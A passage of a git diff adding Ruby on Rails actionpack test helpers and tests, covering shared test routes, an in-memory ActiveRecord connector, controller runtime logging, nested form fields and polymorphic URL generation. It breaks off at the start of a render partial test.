+require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+module Rails
+ class << self
+ def env
+ @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+ end
+ end
+end
+
+ActiveSupport::Dependencies.hook!
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Register danish language for testing
+I18n.backend.store_translations 'da', {}
+I18n.backend.store_translations 'pt-BR', {}
+ORIGINAL_LOCALES = I18n.available_locales.map {|locale| locale.to_s }.sort
+
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
+
+module RackTestUtils
+ def body_to_string(body)
+ if body.respond_to?(:each)
+ str = ""
+ body.each {|s| str << s }
+ str
+ else
+ body
+ end
+ end
+ extend self
+end
+
+module RenderERBUtils
+ def view
+ @view ||= begin
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ ActionView::Base.new(view_paths)
+ end
+ end
+
+ def render_erb(string)
+ @virtual_path = nil
+
+ template = ActionView::Template.new(
+ string.strip,
+ "test template",
+ ActionView::Template::Handlers::ERB,
+ {})
+
+ template.render(self, {}).strip
+ end
+end
+
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+
+module ActionDispatch
+ module SharedRoutes
+ def before_setup
+ @routes = SharedTestRoutes
+ super
+ end
+ end
+
+ # Hold off drawing routes until all the possible controller classes
+ # have been loaded.
+ module DrawOnce
+ class << self
+ attr_accessor :drew
+ end
+ self.drew = false
+
+ def before_setup
+ super
+ return if DrawOnce.drew
+
+ SharedTestRoutes.draw do
+ get ':controller(/:action)'
+ end
+
+ ActionDispatch::IntegrationTest.app.routes.draw do
+ get ':controller(/:action)'
+ end
+
+ DrawOnce.drew = true
+ end
+ end
+end
+
+module ActiveSupport
+ class TestCase
+ include ActionDispatch::DrawOnce
+ end
+end
+
+class RoutedRackApp
+ attr_reader :routes
+
+ def initialize(routes, &blk)
+ @routes = routes
+ @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+ end
+
+ def call(env)
+ @stack.call(env)
+ end
+end
+
+class BasicController
+ attr_accessor :request
+
+ def config
+ @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|
+ # VIEW TODO: View tests should not require a controller
+ public_dir = File.expand_path("../fixtures/public", __FILE__)
+ config.assets_dir = public_dir
+ config.javascripts_dir = "#{public_dir}/javascripts"
+ config.stylesheets_dir = "#{public_dir}/stylesheets"
+ config.assets = ActiveSupport::InheritableOptions.new({ :prefix => "assets" })
+ config
+ end
+ end
+end
+
+class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
+ include ActionDispatch::SharedRoutes
+
+ def self.build_app(routes = nil)
+ RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
+ middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+ middleware.use "ActionDispatch::DebugExceptions"
+ middleware.use "ActionDispatch::Callbacks"
+ middleware.use "ActionDispatch::ParamsParser"
+ middleware.use "ActionDispatch::Cookies"
+ middleware.use "ActionDispatch::Flash"
+ middleware.use "Rack::Head"
+ yield(middleware) if block_given?
+ end
+ end
+
+ self.app = build_app
+
+ # Stub Rails dispatcher so it does not get controller references and
+ # simply return the controller#action as Rack::Body.
+ class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher
+ protected
+ def controller_reference(controller_param)
+ controller_param
+ end
+
+ def dispatch(controller, action, env)
+ [200, {'Content-Type' => 'text/html'}, ["#{controller}##{action}"]]
+ end
+ end
+
+ def self.stub_controllers
+ old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher
+ ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+ ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher }
+ yield ActionDispatch::Routing::RouteSet.new
+ ensure
+ ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+ ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher }
+ end
+
+ def with_routing(&block)
+ temporary_routes = ActionDispatch::Routing::RouteSet.new
+ old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
+ old_routes = SharedTestRoutes
+ silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
+
+ yield temporary_routes
+ ensure
+ self.class.app = old_app
+ silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
+ end
+
+ def with_autoload_path(path)
+ path = File.join(File.dirname(__FILE__), "fixtures", path)
+ if ActiveSupport::Dependencies.autoload_paths.include?(path)
+ yield
+ else
+ begin
+ ActiveSupport::Dependencies.autoload_paths << path
+ yield
+ ensure
+ ActiveSupport::Dependencies.autoload_paths.reject! {|p| p == path}
+ ActiveSupport::Dependencies.clear
+ end
+ end
+ end
+end
+
+# Temporary base class
+class Rack::TestCase < ActionDispatch::IntegrationTest
+ def self.testing(klass = nil)
+ if klass
+ @testing = "/#{klass.name.underscore}".sub!(/_controller$/, '')
+ else
+ @testing
+ end
+ end
+
+ def get(thing, *args)
+ if thing.is_a?(Symbol)
+ super("#{self.class.testing}/#{thing}", *args)
+ else
+ super
+ end
+ end
+
+ def assert_body(body)
+ assert_equal body, Array(response.body).join
+ end
+
+ def assert_status(code)
+ assert_equal code, response.status
+ end
+
+ def assert_response(body, status = 200, headers = {})
+ assert_body body
+ assert_status status
+ headers.each do |header, value|
+ assert_header header, value
+ end
+ end
+
+ def assert_content_type(type)
+ assert_equal type, response.headers["Content-Type"]
+ end
+
+ def assert_header(name, value)
+ assert_equal value, response.headers[name]
+ end
+end
+
+module ActionController
+ class Base
+ include ActionController::Testing
+ # This stub emulates the Railtie including the URL helpers from a Rails application
+ include SharedTestRoutes.url_helpers
+ include SharedTestRoutes.mounted_helpers
+
+ self.view_paths = FIXTURE_LOAD_PATH
+
+ def self.test_routes(&block)
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw(&block)
+ include routes.url_helpers
+ end
+ end
+
+ class TestCase
+ include ActionDispatch::TestProcess
+ include ActionDispatch::SharedRoutes
+ end
+end
+
+class ::ApplicationController < ActionController::Base
+end
+
+module ActionView
+ class TestCase
+ # Must repeat the setup because AV::TestCase is a duplication
+ # of AC::TestCase
+ include ActionDispatch::SharedRoutes
+ end
+end
+
+class Workshop
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id
+
+ def initialize(id)
+ @id = id
+ end
+
+ def persisted?
+ id.present?
+ end
+
+ def to_s
+ id.to_s
+ end
+end
+
+module ActionDispatch
+ class DebugExceptions
+ private
+ remove_method :stderr_logger
+ # Silence logger
+ def stderr_logger
+ nil
+ end
+ end
+end
+
+module ActionDispatch
+ module RoutingVerbs
+ def get(uri_or_host, path = nil)
+ host = uri_or_host.host unless path
+ path ||= uri_or_host.path
+
+ params = {'PATH_INFO' => path,
+ 'REQUEST_METHOD' => 'GET',
+ 'HTTP_HOST' => host}
+
+ routes.call(params)[2].join
+ end
+ end
+end
+
+module RoutingTestHelpers
+ def url_for(set, options, recall = nil)
+ set.send(:url_for, options.merge(:only_path => true, :_recall => recall))
+ end
+end
+
+class ResourcesController < ActionController::Base
+ def index() render :nothing => true end
+ alias_method :show, :index
+end
+
+class ThreadsController < ResourcesController; end
+class MessagesController < ResourcesController; end
+class CommentsController < ResourcesController; end
+class ReviewsController < ResourcesController; end
+class AuthorsController < ResourcesController; end
+class LogosController < ResourcesController; end
+
+class AccountsController < ResourcesController; end
+class AdminController < ResourcesController; end
+class ProductsController < ResourcesController; end
+class ImagesController < ResourcesController; end
+class PreferencesController < ResourcesController; end
+
+module Backoffice
+ class ProductsController < ResourcesController; end
+ class TagsController < ResourcesController; end
+ class ManufacturersController < ResourcesController; end
+ class ImagesController < ResourcesController; end
+
+ module Admin
+ class ProductsController < ResourcesController; end
+ class ImagesController < ResourcesController; end
+ end
+end
diff --git a/actionpack/test/active_record_unit.rb b/actionpack/test/active_record_unit.rb
new file mode 100644
index 0000000..95fbb11
--- /dev/null
+++ b/actionpack/test/active_record_unit.rb
@@ -0,0 +1,91 @@
+require 'abstract_unit'
+
+# Define the essentials
+class ActiveRecordTestConnector
+ cattr_accessor :able_to_connect
+ cattr_accessor :connected
+
+ # Set our defaults
+ self.connected = false
+ self.able_to_connect = true
+end
+
+# Try to grab AR
+unless defined?(ActiveRecord) && defined?(FixtureSet)
+ begin
+ PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
+ raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
+ $LOAD_PATH.unshift PATH_TO_AR
+ require 'active_record'
+ rescue LoadError => e
+ $stderr.print "Failed to load Active Record. Skipping Active Record assertion tests: #{e}"
+ ActiveRecordTestConnector.able_to_connect = false
+ end
+end
+$stderr.flush
+
+
+# Define the rest of the connector
+class ActiveRecordTestConnector
+ class << self
+ def setup
+ unless self.connected || !self.able_to_connect
+ setup_connection
+ load_schema
+ require_fixture_models
+ self.connected = true
+ end
+ rescue Exception => e # errors from ActiveRecord setup
+ $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
+ #$stderr.puts " #{e.backtrace.join("\n ")}\n"
+ self.able_to_connect = false
+ end
+
+ private
+ def setup_connection
+ if Object.const_defined?(:ActiveRecord)
+ defaults = { :database => ':memory:' }
+ adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
+ options = defaults.merge :adapter => adapter, :timeout => 500
+ ActiveRecord::Base.establish_connection(options)
+ ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
+ ActiveRecord::Base.connection
+
+ Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
+ else
+ raise "Can't setup connection since ActiveRecord isn't loaded."
+ end
+ end
+
+ # Load actionpack sqlite tables
+ def load_schema
+ File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
+ ActiveRecord::Base.connection.execute(sql) unless sql.blank?
+ end
+ end
+
+ def require_fixture_models
+ Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
+ end
+ end
+end
+
+class ActiveRecordTestCase < ActionController::TestCase
+ include ActiveRecord::TestFixtures
+
+ # Set our fixture path
+ if ActiveRecordTestConnector.able_to_connect
+ self.fixture_path = [FIXTURE_LOAD_PATH]
+ self.use_transactional_fixtures = false
+ end
+
+ def self.fixtures(*args)
+ super if ActiveRecordTestConnector.connected
+ end
+
+ def run(*args)
+ super if ActiveRecordTestConnector.connected
+ end
+end
+
+ActiveRecordTestConnector.setup
diff --git a/actionpack/test/activerecord/controller_runtime_test.rb b/actionpack/test/activerecord/controller_runtime_test.rb
new file mode 100644
index 0000000..368bec1
--- /dev/null
+++ b/actionpack/test/activerecord/controller_runtime_test.rb
@@ -0,0 +1,95 @@
+require 'active_record_unit'
+require 'active_record/railties/controller_runtime'
+require 'fixtures/project'
+require 'active_support/log_subscriber/test_helper'
+require 'action_controller/log_subscriber'
+
+ActionController::Base.send :include, ActiveRecord::Railties::ControllerRuntime
+
+class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
+ class LogSubscriberController < ActionController::Base
+ respond_to :html
+
+ def show
+ render :inline => "<%= Project.all %>"
+ end
+
+ def zero
+ render :inline => "Zero DB runtime"
+ end
+
+ def create
+ ActiveRecord::LogSubscriber.runtime += 100
+ project = Project.last
+ respond_with(project, location: url_for(action: :show))
+ end
+
+ def redirect
+ Project.all
+ redirect_to :action => 'show'
+ end
+
+ def db_after_render
+ render :inline => "Hello world"
+ Project.all
+ ActiveRecord::LogSubscriber.runtime += 100
+ end
+ end
+
+ include ActiveSupport::LogSubscriber::TestHelper
+ tests LogSubscriberController
+
+ def setup
+ super
+ @old_logger = ActionController::Base.logger
+ ActionController::LogSubscriber.attach_to :action_controller
+ end
+
+ def teardown
+ super
+ ActiveSupport::LogSubscriber.log_subscribers.clear
+ ActionController::Base.logger = @old_logger
+ end
+
+ def set_logger(logger)
+ ActionController::Base.logger = logger
+ end
+
+ def test_log_with_active_record
+ get :show
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[1])
+ end
+
+ def test_runtime_reset_before_requests
+ ActiveRecord::LogSubscriber.runtime += 12345
+ get :zero
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0.0ms\)/, @logger.logged(:info)[1])
+ end
+
+ def test_log_with_active_record_when_post
+ post :create
+ wait
+ assert_match(/ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[2])
+ end
+
+ def test_log_with_active_record_when_redirecting
+ get :redirect
+ wait
+ assert_equal 3, @logger.logged(:info).size
+ assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2])
+ end
+
+ def test_include_time_query_time_after_rendering
+ get :db_after_render
+ wait
+
+ assert_equal 2, @logger.logged(:info).size
+ assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1])
+ end
+end
diff --git a/actionpack/test/activerecord/form_helper_activerecord_test.rb b/actionpack/test/activerecord/form_helper_activerecord_test.rb
new file mode 100644
index 0000000..2e302c6
--- /dev/null
+++ b/actionpack/test/activerecord/form_helper_activerecord_test.rb
@@ -0,0 +1,91 @@
+require 'active_record_unit'
+require 'fixtures/project'
+require 'fixtures/developer'
+
+class FormHelperActiveRecordTest < ActionView::TestCase
+ tests ActionView::Helpers::FormHelper
+
+ def form_for(*)
+ @output_buffer = super
+ end
+
+ def setup
+ @developer = Developer.new
+ @developer.id = 123
+ @developer.name = "developer #123"
+
+ @project = Project.new
+ @project.id = 321
+ @project.name = "project #321"
+ @project.save
+
+ @developer.projects << @project
+ @developer.save
+ end
+
+ def teardown
+ Project.delete(321)
+ Developer.delete(123)
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new
+ Routes.draw do
+ resources :developers do
+ resources :projects
+ end
+ end
+
+ def _routes
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+ form_for(@developer) do |f|
+ concat f.fields_for(:projects, @developer.projects.first, :child_index => 'abc') { |cf|
+ concat cf.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/developers/123', 'edit_developer_123', 'edit_developer', :method => 'patch') do
+ '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' +
+ '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ protected
+
+ def hidden_fields(method = nil)
+ txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt << %{<input name="utf8" type="hidden" value="✓" />}
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+ txt << %{</div>}
+ end
+
+ def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if multipart
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ method = method.to_s == "get" ? "get" : "post"
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "/", id = nil, html_class = nil, options = nil)
+ contents = block_given? ? yield : ""
+
+ if options.is_a?(Hash)
+ method, remote, multipart = options.values_at(:method, :remote, :multipart)
+ else
+ method = options
+ end
+
+ form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+ end
+end
\ No newline at end of file
diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionpack/test/activerecord/polymorphic_routes_test.rb
new file mode 100644
index 0000000..afb7144
--- /dev/null
+++ b/actionpack/test/activerecord/polymorphic_routes_test.rb
@@ -0,0 +1,546 @@
+require 'active_record_unit'
+require 'fixtures/project'
+
+class Task < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Step < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Bid < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Tax < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Fax < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class Series < ActiveRecord::Base
+ self.table_name = 'projects'
+end
+
+class ModelDelegator < ActiveRecord::Base
+ self.table_name = 'projects'
+
+ def to_model
+ ModelDelegate.new
+ end
+end
+
+class ModelDelegate
+ def self.model_name
+ ActiveModel::Name.new(self)
+ end
+
+ def to_param
+ 'overridden'
+ end
+end
+
+module Blog
+ class Post < ActiveRecord::Base
+ self.table_name = 'projects'
+ end
+
+ class Blog < ActiveRecord::Base
+ self.table_name = 'projects'
+ end
+
+ def self.use_relative_model_naming?
+ true
+ end
+end
+
+class PolymorphicRoutesTest < ActionController::TestCase
+ include SharedTestRoutes.url_helpers
+ self.default_url_options[:host] = 'example.com'
+
+ def setup
+ @project = Project.new
+ @task = Task.new
+ @step = Step.new
+ @bid = Bid.new
+ @tax = Tax.new
+ @fax = Fax.new
+ @delegator = ModelDelegator.new
+ @series = Series.new
+ @blog_post = Blog::Post.new
+ @blog_blog = Blog::Blog.new
+ end
+
+ def test_passing_routes_proxy
+ with_namespaced_routes(:blog) do
+ proxy = ActionDispatch::Routing::RoutesProxy.new(_routes, self)
+ @blog_post.save
+ assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url([proxy, @blog_post])
+ end
+ end
+
+ def test_namespaced_model
+ with_namespaced_routes(:blog) do
+ @blog_post.save
+ assert_equal "http://example.com/posts/#{@blog_post.id}", polymorphic_url(@blog_post)
+ end
+ end
+
+ def test_namespaced_model_with_name_the_same_as_namespace
+ with_namespaced_routes(:blog) do
+ @blog_blog.save
+ assert_equal "http://example.com/blogs/#{@blog_blog.id}", polymorphic_url(@blog_blog)
+ end
+ end
+
+ def test_namespaced_model_with_nested_resources
+ with_namespaced_routes(:blog) do
+ @blog_post.save
+ @blog_blog.save
+ assert_equal "http://example.com/blogs/#{@blog_blog.id}/posts/#{@blog_post.id}", polymorphic_url([@blog_blog, @blog_post])
+ end
+ end
+
+ def test_with_nil
+ with_test_routes do
+ assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+ polymorphic_url(nil)
+ end
+ end
+ end
+
+ def test_with_record
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(@project)
+ end
+ end
+
+ def test_with_class
+ with_test_routes do
+ assert_equal "http://example.com/projects", polymorphic_url(@project.class)
+ end
+ end
+
+ def test_with_new_record
+ with_test_routes do
+ assert_equal "http://example.com/projects", polymorphic_url(@project)
+ end
+ end
+
+ def test_with_destroyed_record
+ with_test_routes do
+ @project.destroy
+ assert_equal "http://example.com/projects", polymorphic_url(@project)
+ end
+ end
+
+ def test_with_record_and_action
+ with_test_routes do
+ assert_equal "http://example.com/projects/new", polymorphic_url(@project, :action => 'new')
+ end
+ end
+
+ def test_url_helper_prefixed_with_new
+ with_test_routes do
+ assert_equal "http://example.com/projects/new", new_polymorphic_url(@project)
+ end
+ end
+
+ def test_url_helper_prefixed_with_edit
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/edit", edit_polymorphic_url(@project)
+ end
+ end
+
+ def test_url_helper_prefixed_with_edit_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/edit?param1=10", edit_polymorphic_url(@project, :param1 => '10')
+ end
+ end
+
+ def test_url_helper_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}?param1=10", polymorphic_url(@project, :param1 => '10')
+ end
+ end
+
+ def test_format_option
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(@project, :format => :pdf)
+ end
+ end
+
+ def test_format_option_with_url_options
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf?param1=10", polymorphic_url(@project, :format => :pdf, :param1 => '10')
+ end
+ end
+
+ def test_id_and_format_option
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}.pdf", polymorphic_url(:id => @project, :format => :pdf)
+ end
+ end
+
+ def test_with_nested
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([@project, @task])
+ end
+ end
+
+ def test_with_nested_unsaved
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
+ end
+ end
+
+ def test_with_nested_destroyed
+ with_test_routes do
+ @project.save
+ @task.destroy
+ assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task])
+ end
+ end
+
+ def test_with_nested_class
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/tasks", polymorphic_url([@project, @task.class])
+ end
+ end
+
+ def test_class_with_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project.class])
+ end
+ end
+
+ def test_new_with_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/projects/new", polymorphic_url([:admin, @project], :action => 'new')
+ end
+ end
+
+ def test_unsaved_with_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/projects", polymorphic_url([:admin, @project])
+ end
+ end
+
+ def test_nested_unsaved_with_array_and_namespace
+ with_admin_test_routes do
+ @project.save
+ assert_equal "http://example.com/admin/projects/#{@project.id}/tasks", polymorphic_url([:admin, @project, @task])
+ end
+ end
+
+ def test_nested_with_array_and_namespace
+ with_admin_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/admin/projects/#{@project.id}/tasks/#{@task.id}", polymorphic_url([:admin, @project, @task])
+ end
+ end
+
+ def test_ordering_of_nesting_and_namespace
+ with_admin_and_site_test_routes do
+ @project.save
+ @task.save
+ @step.save
+ assert_equal "http://example.com/admin/projects/#{@project.id}/site/tasks/#{@task.id}/steps/#{@step.id}", polymorphic_url([:admin, @project, :site, @task, @step])
+ end
+ end
+
+ def test_nesting_with_array_ending_in_singleton_resource
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, :bid])
+ end
+ end
+
+ def test_nesting_with_array_containing_singleton_resource
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([@project, :bid, @task])
+ end
+ end
+
+ def test_nesting_with_array_containing_singleton_resource_and_format
+ with_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/projects/#{@project.id}/bid/tasks/#{@task.id}.pdf", polymorphic_url([@project, :bid, @task], :format => :pdf)
+ end
+ end
+
+ def test_nesting_with_array_containing_namespace_and_singleton_resource
+ with_admin_test_routes do
+ @project.save
+ @task.save
+ assert_equal "http://example.com/admin/projects/#{@project.id}/bid/tasks/#{@task.id}", polymorphic_url([:admin, @project, :bid, @task])
+ end
+ end
+
+ def test_nesting_with_array_containing_nil
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}/bid", polymorphic_url([@project, nil, :bid])
+ end
+ end
+
+ def test_with_array_containing_single_object
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url([nil, @project])
+ end
+ end
+
+ def test_with_array_containing_single_name
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects", polymorphic_url([:projects])
+ end
+ end
+
+ def test_with_array_containing_symbols
+ with_test_routes do
+ assert_equal "http://example.com/series/new", polymorphic_url([:new, :series])
+ end
+ end
+
+ def test_with_hash
+ with_test_routes do
+ @project.save
+ assert_equal "http://example.com/projects/#{@project.id}", polymorphic_url(:id => @project)
+ end
+ end
+
+ def test_polymorphic_path_accepts_options
+ with_test_routes do
+ assert_equal "/projects/new", polymorphic_path(@project, :action => 'new')
+ end
+ end
+
+ def test_polymorphic_path_does_not_modify_arguments
+ with_admin_test_routes do
+ @project.save
+ @task.save
+
+ options = {}
+ object_array = [:admin, @project, @task]
+ original_args = [object_array.dup, options.dup]
+
+ assert_no_difference('object_array.size') { polymorphic_path(object_array, options) }
+ assert_equal original_args, [object_array, options]
+ end
+ end
+
+ # Tests for names where .plural.singular doesn't round-trip
+ def test_with_irregular_plural_record
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url(@tax)
+ end
+ end
+
+ def test_with_irregular_plural_class
+ with_test_routes do
+ assert_equal "http://example.com/taxes", polymorphic_url(@tax.class)
+ end
+ end
+
+ def test_with_irregular_plural_new_record
+ with_test_routes do
+ assert_equal "http://example.com/taxes", polymorphic_url(@tax)
+ end
+ end
+
+ def test_with_irregular_plural_destroyed_record
+ with_test_routes do
+ @tax.destroy
+ assert_equal "http://example.com/taxes", polymorphic_url(@tax)
+ end
+ end
+
+ def test_with_irregular_plural_record_and_action
+ with_test_routes do
+ assert_equal "http://example.com/taxes/new", polymorphic_url(@tax, :action => 'new')
+ end
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_new
+ with_test_routes do
+ assert_equal "http://example.com/taxes/new", new_polymorphic_url(@tax)
+ end
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_edit
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/edit", edit_polymorphic_url(@tax)
+ end
+ end
+
+ def test_with_nested_irregular_plurals
+ with_test_routes do
+ @tax.save
+ @fax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/faxes/#{@fax.id}", polymorphic_url([@tax, @fax])
+ end
+ end
+
+ def test_with_nested_unsaved_irregular_plurals
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/faxes", polymorphic_url([@tax, @fax])
+ end
+ end
+
+ def test_new_with_irregular_plural_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/taxes/new", polymorphic_url([:admin, @tax], :action => 'new')
+ end
+ end
+
+ def test_class_with_irregular_plural_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax.class])
+ end
+ end
+
+ def test_unsaved_with_irregular_plural_array_and_namespace
+ with_admin_test_routes do
+ assert_equal "http://example.com/admin/taxes", polymorphic_url([:admin, @tax])
+ end
+ end
+
+ def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}/bid", polymorphic_url([@tax, :bid])
+ end
+ end
+
+ def test_with_array_containing_single_irregular_plural_object
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes/#{@tax.id}", polymorphic_url([nil, @tax])
+ end
+ end
+
+ def test_with_array_containing_single_name_irregular_plural
+ with_test_routes do
+ @tax.save
+ assert_equal "http://example.com/taxes", polymorphic_url([:taxes])
+ end
+ end
+
+ # Tests for uncountable names
+ def test_uncountable_resource
+ with_test_routes do
+ @series.save
+ assert_equal "http://example.com/series/#{@series.id}", polymorphic_url(@series)
+ assert_equal "http://example.com/series", polymorphic_url(Series.new)
+ end
+ end
+
+ def test_routing_a_to_model_delegate
+ with_test_routes do
+ @delegator.save
+ assert_equal "http://example.com/model_delegates/overridden", polymorphic_url(@delegator)
+ end
+ end
+
+ def with_namespaced_routes(name)
+ with_routing do |set|
+ set.draw do
+ scope(:module => name) do
+ resources :blogs do
+ resources :posts
+ end
+ resources :posts
+ end
+ end
+
+ self.class.send(:include, @routes.url_helpers)
+ yield
+ end
+ end
+
+ def with_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ resources :projects do
+ resources :tasks
+ resource :bid do
+ resources :tasks
+ end
+ end
+ resources :taxes do
+ resources :faxes
+ resource :bid
+ end
+ resources :series
+ resources :model_delegates
+ end
+
+ self.class.send(:include, @routes.url_helpers)
+ yield
+ end
+ end
+
+ def with_admin_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :projects do
+ resources :tasks
+ resource :bid do
+ resources :tasks
+ end
+ end
+ resources :taxes do
+ resources :faxes
+ end
+ resources :series
+ end
+ end
+
+ self.class.send(:include, @routes.url_helpers)
+ yield
+ end
+ end
+
+ def with_admin_and_site_test_routes(options = {})
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ resources :projects do
+ namespace :site do
+ resources :tasks do
+ resources :steps
+ end
+ end
+ end
+ end
+ end
+
+ self.class.send(:include, @routes.url_helpers)
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
new file mode 100644
index 0000000..4093701
--- /dev/null
+++ b/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
@@ -0,0 +1,210 @@
+require 'active_record_unit'
+
+class RenderPartialWithRecordIdentificationController < ActionController::Base
+ def render_with_has_many_and_belongs_to_association
+ @developer = Developer.find(1)
+ render :partial => @developer.projects
+ end
+
+ def render_with_has_many_association
